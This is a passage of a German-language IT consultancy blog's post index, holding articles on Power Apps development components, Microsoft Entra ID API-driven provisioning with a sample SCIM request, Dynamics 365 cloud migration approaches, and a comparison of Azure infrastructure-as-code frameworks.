oder Benachrichtigungen angezeigt werden.\nPower Fx Power Fx ähnelt der Script-Sprache von Excel. Alternativ zu JavaScript bietet Power Fx die Möglichkeit, verschiedene Befehle als Reaktion auf Button-Klicks auszuführen. Es lassen sich beispielsweise Datensätze erstellen oder aktualisieren (Patch Funktion ), die Sichtbarkeit des Buttons manipulieren oder zu einem bestimmten Datensatz navigieren. Power Fx kommt in der Command Bar, bei Custom Pages, Canvas Apps und Low-Code-Plugins zum Einsatz.\nIm Screenshot sind Power-Fx-Befehle zu sehen, welche bei Button-Klick eine Bewertung erstellen und diese innerhalb des Formulars öffnen.\nC#-Plugins Bei der Verwendung von Plugins werden C#-Klassenbibliotheken (aktuelle Version .NET Framework 4.6.2) erstellt. Diese implementieren das Plugin Interface und dessen Execute-Methode. Plugins reagieren auf bestimmte Ereignisse wie Create, Update oder Delete im Kontext einer Tabelle. Diese können PreValidation (vor Validierung des Formulars), PreOperation (vor der Datenbank-Transaktion) oder PostOperation (nach der Datenbank-Transaktion) ausgeführt werden. Plugins eignen sich für synchrone oder asynchrone Backend-Operationen. Sie können Daten hinzufügen, verändern, löschen oder referenzierte Datensätze erstellen.\nPower Automate Power Automate ist ein Tool, welches Automatisierung verwirklicht. Power Automate bietet viele Konnektoren, um sich mit Tools und Plattformen wie Dataverse, SharePoint und Outlook zu verbinden. Als Reaktion auf ein Ereignis (Trigger) werden bestimmte Aktionen ausgeführt. Power-Automate-Flows eignen sich für Backend-Operationen, die asynchron ausgeführt werden und/oder eine Verbindung zu anderen (Microsoft-) Tools benötigen. Nachfolgend wird ein Power-Automate-Flow angezeigt, welcher für einen neuen Studenten einen Notenspiegel erstellt.\nZusammenfassung Zusammenfassend empfiehlt es sich, falls möglich, das Customizing (Geschäftsregeln, Power Fx und Power Automate) dem Coding (JavaScript und C#-Plugins) vorzuziehen. Muss jedoch eine synchrone Backend-Operation durchgeführt werden, kommt man Stand heute nicht drum herum, ein C#-Plugin zu implementieren, da Power-Automate-Flows immer asynchron ausgeführt werden.\nWie findet man die richtige Low-Code-Plattform? Jetzt mehr Infos zur Power Plattform und zum Auswahlprozess in unserer Checkliste nachlesen. ","date":"9. Mai 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/power-apps_hu7e73f45fcfa30b8bc92a52689c572050_111317_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/power-apps_hu7e73f45fcfa30b8bc92a52689c572050_111317_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/komponenten-f%C3%BCr-die-entwicklung-von-model-driven-power-apps/","tags":["crm","dynamics-365","low-code"],"title":"Komponenten für die Entwicklung von Model-driven Power Apps"},{"categories":["How To"],"contents":"Identitäten von Mitarbeitenden anlegen, verarbeiten und löschen – mit diesem Thema sieht sich nahezu jedes Unternehmen konfrontiert. In der Regel kommt dafür ein Identity \u0026 Access Management (IAM) zum Einsatz. Dieses System stellt - vergleichbar mit einem Portier am Eingang eines Luxushotels - sicher, dass nur berechtigte Personen das Gebäude betreten. Auf diese Weise wird es einer Organisation ermöglicht, den sicheren Zugriff auf ihre digitalen Ressourcen zu verwalten und Berechtigungen von Identitäten an zentraler Stelle zu prüfen.\nIndem nur denjenigen Personen Zugang zu Applikationen, Daten und Prozessen gewährt wird, die diesen Zugang für ihre Arbeit wirklich benötigen, wird auch die Sicherheit und der Datenschutz von Unternehmensressourcen verbessert.\nDer Support für den Microsoft Identity Manager endet Für bisherige On-premises-Lösungen im IAM-Bereich wurde oft der Microsoft Identity Manager (MIM) eingesetzt. Mit dem für 2029 angekündigten Supportende für den MIM erhöht sich der Handlungsdruck für IT-Entscheider*innen, eine nachfolgende Lösung zu finden, über die das Identity \u0026amp; Access Management zukünftig realisiert werden kann.\nMigrationen in diesem Bereich sind aufgrund ihrer Verzahnung mit anderen IT-Systemen und -Prozessen in der Regel komplex. Fehler können mit Datenlecks, Betriebsunterbrechungen und Compliance-Verstößen weitreichende Folgen haben. Gleichzeitig ist der Einsatz einer zentralen Identitätsmanagement-Software für Unternehmen als Beitrag zur IT-Sicherheit oft unverzichtbar - getreu dem Motto \u0026ldquo;Hackers don\u0026rsquo;t break in, they log in\u0026rdquo;. Zudem ist das Identity \u0026amp; Access Management ein fester Bestandteil von Standards wie der ISO 27001 oder der EU-Datenschutzgrundverordnung.\nCheckliste zur IAM-Einführung: Diese Fragen sollten Sie sich bei der IAM-Implementierung stellen. Die Produktfamilie von Microsoft Entra ID Um die Anforderungen an Standards und Governance-Richtlininen auch zukünftig erfüllen zu können, bietet Microsoft mit Entra ID als Teil der hier gezeigten Entra-Produktfamilie eine moderne, cloud-basierte Lösung.\nDie ehemals als Azure AD bezeichneten Angebote bündeln Dienste rund um das Identity \u0026amp; Access Management und integrieren in diesem Zusammenhang immer mehr Funktionen des MIM. Um Unternehmen, die beispielsweise auf Grund von On-premises-Anwendungen weiterhin ein lokales Active Directory verwenden müssen, den Übergang zu Entra zu erleichtern, bietet Microsoft eine Lösung mit Hybrididentitäten an. Dadurch können sowohl lokale als auch in der Cloud angesiedelte Anwendungen angebunden werden.\nDarum geht\u0026rsquo;s: die generische Schnittstelle von Entra Viele Leserinnen und Leser dürften sich fragen, welche Neuigkeiten dieser Beitrag erzählt. So wurde das Ende des MIM bereits vor einigen Jahren angekündigt und auch die Umbenennung von Azure AD in Entra ist schon fast ein alter Hut. Daher soll dieser Beitrag weder die Funktionalitäten des MIM noch von Entra aufzeigen. Stattdessen werden die Ergebnisse einer intern durchgeführten Analyse vorgestellt, welche die Möglichkeit testet, Anwendungen über eine generische Schnittstelle mit Entra zu verbinden. Dadurch soll die Hürde einer Migration, für jede Anwendung einen eigenen Connector zu implementieren, gesenkt werden. Zu diesem Zweck wurde eine prototypische Umgebung entwickelt, die die wesentlichen Funktionen eines IAM realisiert und welche zukünftig als Anschauungs- und Demonstrationsmodell dienen kann.\nWährend bisherige Lösungen für jede Anwendung einen individuellen Connector erforderten, verspricht die neue, als „API-driven inbound Provisioning“ bezeichnete Schnittstelle, dass beliebige Daten im SCIM-Standard an Entra gesendet werden können. Die Verarbeitung der Daten soll anschließend innerhalb von Entra weitgehend automatisiert ablaufen. Um diese Schnittstelle zu testen, wurde im Prototyp der Analyse die hier gezeigte Umgebung aufgebaut. Dabei wurde der nach unserer Erfahrung in vielen Unternehmen vorherrschende Fall einer hybriden Umgebung realisiert. Eine reine Cloud-Anwendung ist jedoch ebenso möglich.\nUm ein allgemeines Szenario abzubilden und eine Vorlage für individuelle Kundenszenarien zu erstellen, realisiert der für die Analyse konzipierte Prototyp die Bereitstellung von Mitarbeiterdaten aus einem HR-System. Diese Bereitstellung ist eine Voraussetzung, damit ein Unternehmen die Daten von Mitarbeitenden über ein IAM-System verarbeiten kann.\nUm den Prototyp dabei allgemeingültig zu halten, wird auf die Implementierung eines spezifisches HR-Systems verzichtet. Stattdessen werden in Schritt 1 der Abbildung die Daten als reiner HTTPS-Request durch Postman direkt an den neuen Endpunkt gesendet. Von hier erfolgt in Schritt 2 über den Entra ID Provisioning Service die weitere Verarbeitung. Dabei werden die Daten in Schritt 3 zunächst im lokalen AD angelegt. In den Schritten 4 und 5 erfolgt anschließend die Synchronisierung zu Entra. Andere Systeme können die Daten in den Schritten 6 und 7 von Entra abrufen und intern weiterverarbeiten. Daten, wie beispielsweise eine in Entra erstellte E-Mail-Adresse, können so in die Nutzeridentität im HR-System synchronisiert werden.\nKonfiguration der Schnittstelle in Entra Bevor die Schnittstelle angesprochen werden kann, muss die Schnittstelle konfiguriert werden. Die Konfiguration gleicht dabei dem Einrichten eines Connectors für eine spezifische Anwendung. Im Entra-Produktkatalog kann die als „API-driven inbound Provisioning“ bezeichnete Unternehmensanwendung, wie beispielhaft dargestellt, konfiguriert werden.\nNach der Konfiguration erhält man einen Endpunkt, welcher beispielsweise über Postman angesprochen werden kann. Um über die Schnittstelle jedoch Nutzer anlegen oder ändern zu können, müssen die entsprechenden Berechtigungen hinterlegt werden. Dafür setzt Microsoft wie bereits für bestehende Anbindungen zu Services auf vorgefertigte Connectoren und stellt einen als „API-driven Provisioning“ bezeichneten Connector bereit. Dieser ermöglicht die Verbindung zwischen beliebigen Anwendungen und Entra ID.\nIst die Konfiguration so weit abgeschlossen, müssen die Authentifizierungsinformationen in Postman hinterlegt werden. Im hier gezeigten Beispiel wird dabei das OAuth-Protokoll verwendet.\nAnschließend kann mit der Bereitstellung der User begonnen werden. Ein möglicher Request kann in der folgenden Form vorliegen:\n{ \u0026#34;schemas\u0026#34;: [\u0026#34;urn:ietf:params:scim:api:messages:2.0:BulkRequest\u0026#34;], \u0026#34;Operations\u0026#34;: [{ \u0026#34;method\u0026#34;: \u0026#34;POST\u0026#34;, \u0026#34;bulkId\u0026#34;: \u0026#34;897401c2-2de4-4b87-a97f-c02de3bcfd70\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;/Users\u0026#34;, \u0026#34;data\u0026#34;: { \u0026#34;schemas\u0026#34;: [\u0026#34;urn:ietf:params:scim:schemas:core:2.0:User\u0026#34;, \u0026#34;urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\u0026#34;, \u0026#34;urn:ietf:params:scim:schemas:extension:csv:1.0:User\u0026#34;], \u0026#34;id\u0026#34;: \u0026#34;2819c223-7f76-453a-919d-413861904700\u0026#34;, \u0026#34;externalId\u0026#34;: \u0026#34;521200\u0026#34;, \u0026#34;userName\u0026#34;: \u0026#34;bmaier\u0026#34;, \u0026#34;accountDisabled\u0026#34;: true, \u0026#34;name\u0026#34;: { \u0026#34;familyName\u0026#34;: \u0026#34;Maier\u0026#34;, \u0026#34;givenName\u0026#34;: \u0026#34;Bob\u0026#34; }, \u0026#34;displayName\u0026#34;: \u0026#34;Bob Maier\u0026#34;, \u0026#34;nickName\u0026#34;: \u0026#34;Bob\u0026#34; }, \u0026#34;urn:ietf:params:scim:schemas:extension:csv:1.0:User\u0026#34;: { \u0026#34;HireDate\u0026#34;: \u0026#34;2023-12-01T00:00:00-05:00\u0026#34; } } ], \u0026#34;failOnErrors\u0026#34;: null } Der dargestellte Request kann durch viele weitere, optionale Attribute ergänzt werden und so die digitale Identität des Mitarbeitenden mit Informationen ausstatten. Für die Schnittstelle ist zu beachten, dass in der aktuellen Version lediglich POST-Requests verarbeitet werden können. Soll ein User gelöscht werden, wird der Request in Entra ID entsprechend interpretiert. Das Attribut method: POST muss dazu zu einem method: DELETE geändert werden. Der Request selbst verbleibt jedoch ein POST-Request.\nUm zu prüfen, ob der Request erfolgreich durchgeführt werden konnte, können die Logfiles in Entra betrachtet werden. Mögliche Fehler könnten in einer doppelten Belegung von IDs zu finden sein.\nFazit Für Unternehmen, welche ihr bisheriges IAM-System ablösen und den Weg in die Cloud beschreiten möchten, bietet die neue Schnittstelle die Möglichkeit, den Migrationsaufwand erheblich zu reduzieren. Dabei gilt, dass neben HR-Systemen auch andere Systeme über die Schnittstelle angebunden werden können, welche zuvor oft individuelle Connectoren benötigten.\nAuch wenn die Migration nur in Teilen vollzogen werden soll, bietet die Schnittstelle eine Chance, den Aufwand zu reduzieren. Aktuelle Einschränkungen, wie z.B. die ausschließliche Bearbeitung von POST-Requests, gilt es gegen Vorteile wie die einfache Inbetriebnahme der Schnittstelle und die vielseitigen Einsatzmöglichkeiten abzuwägen.\nFür Kunden, die neben dem Migrationsaufwand auch die Betreuung des Identity \u0026amp; Access Managements an einen spezialisierten Dienstleister auslagern möchten, bietet Objektkultur die Dienstleistung Identity \u0026 Access Management as a Service (IAMaaS) an.\nCheckliste zur IAM-Einführung: Diese Fragen sollten Sie sich bei der IAM-Implementierung stellen. ","date":"25. April 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/msentraId_hu591464ef6f350768ea26ab6c4fdb5c91_561377_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/msentraId_hu591464ef6f350768ea26ab6c4fdb5c91_561377_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/effiziente-identit%C3%A4tserstellung-mit-api-driven-provisioning-die-neue-schnittstelle-in-microsoft-entra-id/","tags":["idm"],"title":"Effiziente Identitätserstellung mit API-driven Provisioning – die neue Schnittstelle in Microsoft Entra ID"},{"categories":["How to"],"contents":"Three years back in march 2021 my Colleague Rodrigo Groener posted his blog post about how Objektkultur is helping their clients to migrate the customers Dynamics 365 CRM instances to the cloud. Now some time has past and its worth to check what has changed since then.\nRevisit - Part 1: Approaches to migrate to Dynamics 365 cloud instances This is the first part of a series of blog posts about how we migrate our customers Dynamics 365 CRM instances to the cloud. This will project our experience, lessons learned, pain points and solutions from the last years, where we had multiple projects that involved a data and functionality migration to a Dynamics 365 CRM instance.\nPart 1: Approaches to migrate to Dynamics 365 cloud instances Part 2: Analyze, plan \u0026 rebuild the current solution Part 3: Options for data migration Part 4: Our tooling for data migration Part 5: Migration of activities Part 6: Logging and Error Handling In the first part we’ll have a look at the possible approaches for migrating from on-premises systems to the cloud and which option we typically choose in our projects. In practice we see three approaches.\nLift and Shift (FastTrack Migration Program) Import Solution (Brownfield) and Data Migration New Solution (Greenfield) and Data Migration Find out more about successful CRM migration and implementation in our checklist! Why it’s mostly more than a pure migration project? Typically, a customer is using a Dynamics 365 Customer Engagement (on-premises) instance for serval years and wants to migrate to the cloud. The instance is grown over the years in size of records and in number of customizations. After an initial meeting with the customer, we make a first analysis of their dynamics instance, where we take a look at the installed solutions, count the total number of records in the entities and interview some power users how their day-to-day job looks like in the CRM system. In most cases, we find that even the power users only use a friction of the provided functionality of the once developed or bought solutions. Furthermore, we find plugins that aren’t cloud ready. A lot of JavaScript code that needs manual investigation if it is even used or not and, on top, all JavaScript code must be updated for the unified interface. The results of this first short analysis typically, if not already requested by the customer, leads to the desire to make a fresh, clean start with the new cloud system. That’s why every so called “migration” project also includes intensive cleanup and modernization tasks besides the prominent data migration. Here the “brownfield” and “greenfield” approaches comes into play.\nCleanup Tasks Remove unused fields and entities from solutions Remove unused managed solutions Remove unused plugins and workflows Remove unused and unsupported client-side code Data cleanup: Delete unused data rows or define which data rows will be migrated Modernization Tasks Move from integration built directly on the SQL server to Logic Apps and Azure Functions calling the Web API Move from full trust plugins to sandbox plugins Move from CRM workflows to Power Automate cloud flows Transit to unified interface and app model Use Power BI for reports instead of SQL Server Reporting Services (SSRS) The lift and shift approach (On-Premises to Online Migration Process) The Microsoft On-Premises to Online Migration Process (OP2OL) provides tools to migrate on premises environments to the cloud for eligible customers. The migration is performed by both the Microsoft partner and the customer. From a high-level perspective the process includes the following steps. You start by taking a database backup of your on-premises system. This Database has to be uploaded to the Migration Service of Microsoft. Within the Migration-Service the CRM will be upgraded to the latest on premises Version. The FastTrack team will complete the migration by migrating the upgraded Database to your Dynamics 365 Tenant.\nThe Customers with the following CRM-Systems are eligible:\n2015 2016 Within the Migration Service there are several stages and are applied in sequence (with days and weeks in between) to achieve higher confidence and remove obstacles during the migration process:\nDry run Production mock Production migration Pros of the lift and shift approach All data will be migrated to the cloud including audit logs Cons of the lift and shift approach Need to be eligible for the FastTrack program Still a lot of work has be done due to technical debt (SQL Server Integrations, Cleanup the Database, Full Trust plugins, unsupported client-side java script code) When to use this approach? Large CRM installations at eligible customers where it’s required to have the data and functionality as in the on-premises instance. Don’t consider it as a silver bullet because there are still cleanup and modernization tasks that must be done, like leverage PowerApps Checker for validating existing solutions.\nThe “brownfield” approach At a high level, this approach consists of two steps: import existing solution and migration data. In contrast to the lift and shift approach, we start with an empty Dataverse instance where we import the existing solution with all customizations and afterwards copy over the data from the old on premises instance. Dependent on the technical debts of the source system, it’s necessary to first customize the unmanaged solution beforehand importing it to the online instance. Therefore, we setup an extra development environment on premises where we can cleanup and modernize the solution.\nExtra development environment to cleanup and modernize solution Initial unmanaged solution import to Dataverse development environment Additional modernization tasks Data migration Pros of the “brownfield” approach Entity Metadata (Entity Names, Field Names, Field Types) of custom Entities stays the same which keeps the data migration simpler Cons of the “brownfield” approach Modernization Tasks Extra tooling for data migration required When to use this approach? CRM installations where the custom solution doesn’t need a lot of modernization tasks, because there is a little to no technical debt.\nThe “greenfield” approach At a high level, this approach consists of two steps: build new solution and migrate data. This approach is very similar to the “brownfield” approach. Instead of using the old solution, we build up a completely new solution. This approach pays out if the old system has heavy technical debt, or there are many unused parts in the system. Typically, we also use this approach where only a few fields were added to the system entities and nearly no other customizations. For example, customers that heavily rely on the sales process and mail tracking feature. Using this approach instead of the brownfield one, the customer can directly benefit from new out of the box features in the online environment.\nCreate new unmanaged solution in Dataverse development environment Rebuild the solution components Data migration Pros of the “greenfield” approach No modernization tasks Clean start over with all out of the box features Cons of the “greenfield” approach Rebuild of solution can be time consuming. Entity Metadata (Entity Names, Field Names, Field Types) of custom Entities can change, which must be considered in the migration Extra tooling for data migration required When to use this approach? CRM installations where the custom solution has nearly no customizations or installations that suffer from heavy technical debt.\nWhich approach do we use most? At our clients we mostly use the greenfield approach, due to the wish for a fresh start over without technical debt. Additionally, we install our own quick start solution for the german market that includes some customizations like translations which sharpen the standard of Microsoft. This allows us to not completely start from scratch, but still have the flexibility of a new system.\nIn the next article, we will provide more details about how we analyze the source solutions for the rebuild.\nFind out more about successful CRM migration and implementation in our checklist! Links Part 2: Analyze, plan \u0026 rebuild the current solution FastTrack Migration Program Dynamics CRM (on-premises) to Dynamics 365 migration | Microsoft Docs Presentation of the now called On-premises to Online Migration Programm (March 2021) ","date":"18. April 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/migrate-dynamics365-crm-part1_hu28f771a0c498e8fa226697ccf27bcd5d_233423_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/migrate-dynamics365-crm-part1_hu28f771a0c498e8fa226697ccf27bcd5d_233423_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-we-migrate-dynamics-365-crm-applications-to-the-cloud-part-1/","tags":["dynamics-365","crm"],"title":"How we migrate Dynamics 365 CRM applications to the cloud (Part 1)"},{"categories":["How to"],"contents":"Moderne IT-Infrastrukturumgebungen werden immer größer und komplexer. Die einfache und schnelle Bereitstellung von Infrastruktur in der Cloud per Knopfdruck sowie die flexiblen Skalierungsmöglichkeiten sollten Entwicklern dabei helfen, den Zeitaufwand für die Verwaltung zu reduzieren. In der Realität jedoch sorgt die Flexibilität von Cloud-Infrastruktur dafür, dass noch größere Umgebungen konzipiert werden.\nAn diesem Punkt setzt Infrastructure as Code (IaC) an. IaC ist eine Praxis aus dem Bereich DevOps, die Techniken aus der Softwareentwicklung mit bewährten Praktiken zur Automatisierung kombiniert. Die Infrastruktur wird dabei lediglich über Quellcode verwaltet. Änderungen am Code werden durch Techniken wie Continuous Integration (CI) und Continuous Delivery (CD) automatisiert auf die Infrastruktur angewandt, sodass konsistente, wiederholbare und schnelle Bereitstellungen ganzer Umgebungen entstehen.\nIn vielen Projekten werden daher unterschiedliche IaC-Frameworks für die Bereitstellung der Infrastruktur genutzt. Doch welches Framework sollte in einer bestimmten Situation genutzt werden? Diese Frage soll mithilfe einer Evaluation von Frameworks, welche die Bereitstellung von Infrastruktur in der Microsoft Azure Cloud unterstützen, beantwortet werden.\nBereitstellung von Cloud-Infrastruktur mit Infrastructure-as-Code-Frameworks Grundsätzlich erfolgt die Bereitstellung von Cloud-Infrastruktur mithilfe eines Infrastructure-as-Code-Frameworks nach folgendem Schema:\nEntwickler schreiben Code für das Framework und laden ihn in ihr Repository hoch (z.B. Azure DevOps). Das Framework greift auf den Code zu und verarbeitet ihn zu API-Aufrufen. Das Framework sendet die API-Anfragen an den API-Endpunkt der Cloud (z.B. ARM bei Azure), sodass die gewünschten Änderungen an der Infrastruktur durchgeführt werden. Für die Verarbeitung des Codes zu API-Anfragen existieren zwei Ansätze:\nBeim imperativen Ansatz beinhaltet der Code die einzelnen Schritte, die durchgeführt werden müssen, um von Ausgangszustand A zum gewünschten Zustand B zu gelangen. Entwickler haben hierbei die volle Kontrolle und bestimmen genau, welche Schritte durchgeführt werden sollen. Der Schwerpunkt dieses Ansatzes liegt also auf dem Wie der Umsetzung.\nDer deklarative Ansatz dagegen konzentriert sich auf das Was. Das bedeutet, Entwickler beschreiben im Code lediglich den gewünschten Zustand B und das Framework erarbeitet selbstständig durch einen Vergleich mit dem Ausgangszustand die durchzuführenden Schritte. Der Vorteil dieses Ansatzes liegt vor allem in der Übersichtlichkeit und Wiederverwendbarkeit, da der Code unabhängig vom Ausgangszustand genutzt werden kann und Entwickler sich keine Gedanken über die einzelnen Schritte machen müssen.\nHaben Sie Fragen zur Bereitstellung von Cloud-Infrastruktur mit IaC-Frameworks? Wir unterstützen bei der Integration. Bewertungskriterien der IaC-Frameworks Die Evaluation erfolgte anhand verschiedener Bewertungskriterien. Die folgenden vier Kriterien wiesen dabei die signifikantesten Unterschiede auf:\nÜbersichtlichkeit Initialer Aufwand Wiederverwendbarkeit State Management Übersichtlichkeit IaC ist aus dem Bedürfnis entstanden, immer komplexere Infrastruktursysteme möglichst fehlerfrei und effizient bereitstellen zu können. Um dies zu bewerkstelligen, sollen nach den DevOps-Prinzipien Redundanzen vermieden und klare Strukturen angestrebt werden. Dazu müssen IaC-Frameworks gute Strukturierungsmöglichkeiten für den Code bieten. Außerdem spielt die Lesbarkeit des Codes für Menschen eine wichtige Rolle.\nInitialer Aufwand Die Einführung von IaC in einem Projekt bringt mehrere Aufgaben mit sich. Zum einen müssen Entwickler den Umgang mit den Tools und der verwendeten Sprache erlernen. Zum anderen werden ggf. Konzepte für die Erstellung von Modulen und für das State Management benötigt.\nWiederverwendbarkeit Wiederverwendbarkeit ist eines der Kernthemen von IaC. Durch die Wiederverwendung von Code werden konsistente Strukturen geschaffen, sodass die erzeugten Umgebungen jedes Mal dasselbe Verhalten aufweisen. Außerdem wird somit eine effiziente Arbeitsweise gefördert, da weniger Code neu entwickelt werden muss und Änderungen an zentraler Stelle durchgeführt werden können. Idempotenz ist hierbei eine wichtige Eigenschaft. Code ist idempotent, wenn er mehrmals hintereinander ausgeführt werden kann und immer dasselbe Ergebnis liefert.\nState Management Im IaC-Kontext bezeichnet der Zustand eines Systems (State) die Ressourcen, deren Konfiguration und Abhängigkeiten zueinander. Einige deklarative Frameworks speichern eine Cache-Version des States nach der Bereitstellung. Dieser State enthält alle Ressourcen, die durch das Framework bereitgestellt wurden. Er wird dazu verwendet, eine Verbindung zwischen den real bereitgestellten Ressourcen und den im Code beschriebenen zu schaffen und dient als Grundlage für die Planung der durchzuführenden Schritte bei späteren Bereitstellungen. Bei der Bewertung der Frameworks wurde betrachtet, welche Möglichkeiten für die Speicherung des States geboten werden, ob eine Überprüfung der geplanten Schritte möglich ist und wie aufwendig der Import bestehender Infrastruktur ist.\nErgebnisse der Evaluation der IaC-Frameworks von Microsoft Für die Evaluation wurden drei der vier Frameworks betrachtet, die Microsoft für die Bereitstellung von Ressourcen in Azure empfiehlt :\nAzure CLI Bicep Terraform ARM-Templates wurden nicht weiter evaluiert, da Bicep eine Weiterentwicklung dazu darstellt und alle Funktionen von ARM-Templates unterstützt.\nAzure CLI Azure CLI ist ein Kommandozeilenprogramm, das genutzt werden kann, um einzelne Befehle in Azure auszuführen. Ein Befehl entspricht dabei einem Aufruf von Azure CLI mit bestimmten Parametern. Für die Automatisierung der Befehle muss auf die Skriptsprache einer Shell wie bspw. PowerShell zurückgegriffen werden. Es handelt sich daher um ein imperatives Framework.\nÜbersichtlichkeit\nAufgrund der Umsetzung von Befehlen in Aufrufen des Programms mit Parametern entstehen Skripte mit sehr langen Einzeilern, was zu einer schlechten Lesbarkeit führt. Initialer Aufwand\nDer initiale Aufwand bei Azure CLI ist relativ gering, da eine beliebige Skriptsprache verwendet werden kann und Entwickler dadurch in den meisten Fällen keine spezielle Syntax erlernen müssen. Azure CLI speichert keinen State und der Code kann beliebig in verschiedene Skripte ausgelagert werden, sodass keine Konzepte hierfür benötigt werden. Wiederverwendbarkeit\nAls imperatives Framework ist Azure CLI immer vom aktuellen Zustand abhängig. Außerdem sind einige Befehle (bspw. Erstellen eines Key Vaults) zum aktuellen Zeitpunkt nicht idempotent, sodass die Skripte nur in der jeweiligen Situation ohne Anpassungen ausgeführt werden können. State Management\nAzure CLI benötigt keinen State, da Entwickler dafür verantwortlich sind, die durchzuführenden Schritte im Code zu hinterlegen. Eine Überprüfung der geplanten Änderungen ist daher jederzeit möglich, indem der Code betrachtet wird. Operationen wie die gezielte Deprovisionierung von bereitgestellten Ressourcen sind ebenfalls möglich, da das Framework den Zustand nicht überprüft. Da keine Informationen darüber gespeichert werden, welche Ressourcen durch das jeweilige Skript bereitgestellt werden, kann es allerdings dazu kommen, dass verschiedene Skripte ihre Änderungen gegenseitig überschreiben. Bicep Bicep setzt im Gegensatz zu ARM-Templates nicht auf JSON, sondern verwendet eine eigene domänenspezifische Sprache. Es handelt sich jedoch trotzdem um eine reine Übersetzung von ARM-Templates. Bicep-Code wird vor der Bereitstellung automatisiert in ein ARM-Template transpiliert. Eine Dekompilierung von ARM-Templates zu Bicep-Code ist ebenfalls möglich.\nÜbersichtlichkeit\nDie simple und kompakte Syntax der domänenspezifischen Sprache sowie der deklarative Ansatz sorgen für eine gute Lesbarkeit des Codes. Des Weiteren kann der Code in Modulen gekapselt werden, wobei eine Datei einem Modul entspricht. Initialer Aufwand\nÄhnlich zu Azure CLI wird kein State gespeichert und die simple Modularisierung benötigt wenig Vorüberlegungen durch Entwickler. Allerdings muss die Bicep-Sprache erlernt werden, sodass der initiale Aufwand ein wenig höher ist. Wiederverwendbarkeit\nAufgrund des deklarativen Ansatzes und der Idempotenz des Frameworks ist der Code stets unabhängig vom Ausgangszustand. Bereits erstellte Module können durch andere Module aufgerufen werden und werden bei der Transpilierung zu einem ARM-Template zusammengefügt. State Management\nBicep setzt auf einen inkrementellen Ansatz, bei dem davon ausgegangen wird, dass die Infrastruktur Stück für Stück erweitert wird und speichert daher keinen State. Die Deprovisionierung von Ressourcen wird daher nicht unterstützt. Über die What-If-Funktionalität kann geprüft werden, welche Änderungen das Framework bei einer Bereitstellung durchführt. Leider ist diese Funktion nicht fehlerfrei. Microsoft warnt davor, dass falsch-positive Ergebnisse enthalten sein können und bei der Verwendung mehrerer Module kann es dazu kommen, dass Teile des Codes nicht durch What-If betrachtet werden .\nTerraform Terraform ist ein IaC-Framework der Firma HashiCorp, welches ebenfalls eine domänenspezifische Sprache verwendet und den deklarativen Ansatz verfolgt. Die geplanten Schritte zur Überführung in den gewünschten Zustand werden durch sog. Provider in API-Anfragen für die jeweilige Cloud verarbeitet. Dadurch ist Terraform in der Lage, verschiedene Anbieter zu bedienen. Gleichzeitig bedeutet dies, dass API-Updates der Cloud-Anbieter erst unterstützt werden, wenn der zugehörige Provider angepasst wurde.\nÜbersichtlichkeit\nÄhnlich zu Bicep weist die domänenspezifische Sprache durch ihre simple Syntax eine gute Lesbarkeit des Codes auf. Im Gegensatz zu Bicep und Azure CLI ist es bei Terraform jedoch möglich, den Code innerhalb eines Moduls auf mehrere Dateien auszulagern. Alle Dateien innerhalb eines Verzeichnisses werden einem Modul zugeordnet, sodass eine übersichtliche Strukturierung erfolgen kann. Initialer Aufwand\nAufgrund der fortgeschritteneren Strukturierungsmöglichkeiten müssen Entwickler im Voraus ein Konzept für eine einheitliche Auslagerung des Codes erarbeiten. Außerdem speichert Terraform den State der Infrastruktur, sodass ein Konzept für die Ablage benötigt wird. Terraform benötigt daher den höchsten initialen Aufwand. Wiederverwendbarkeit\nDie Wiederverwendbarkeit des Codes ist auf dem gleichen Niveau wie bei Bicep, da Terraform ebenfalls den deklarativen Ansatz verfolgt und vollständig idempotent ist. State Management\nTerraform bietet verschieden Möglichkeiten für die Ablage des States: Storage der Azure, Amazon oder Google Clouds kann verwendet werden. Ebenso ist es möglich, den State per HTTP auf einem eigenen Server zu hinterlegen. Durch die Speicherung des States ist eine zuverlässige Überprüfung der geplanten Änderungen und die gezielte Deprovisionierung möglich. Der erzeugte Plan kann abgespeichert und für eine spätere Bereitstellung verwendet werden, sodass zum Zeitpunkt der Bereitstellung nur die überprüften Schritte ausgeführt werden. Nachteil dieser Vorgehensweise ist, dass nur Ressourcen, die sich im State befinden, verwaltet werden können. Soll bereits bestehende Infrastruktur verwaltet werden, muss diese aufwendig importiert werden. Fazit zu den IaC-Frameworks von Microsoft Azure Der Vergleich zeigt, dass Terraform aufgrund der Strukturierungsmöglichkeiten und der Nachvollziehbarkeit besonders in komplexen Projekten mit großer Infrastruktur genutzt werden sollte, sodass der höhere initiale Aufwand ausgeglichen wird. Bicep dagegen bietet durch seine einfache Strukturierung einen schnellen Einstieg für kleinere Projekte. Azure CLI sollte nur genutzt werden, wenn wenige Ressourcen schnell bereitgestellt werden müssen und anschließend nicht mit vielen Änderungen zu rechnen ist, da die 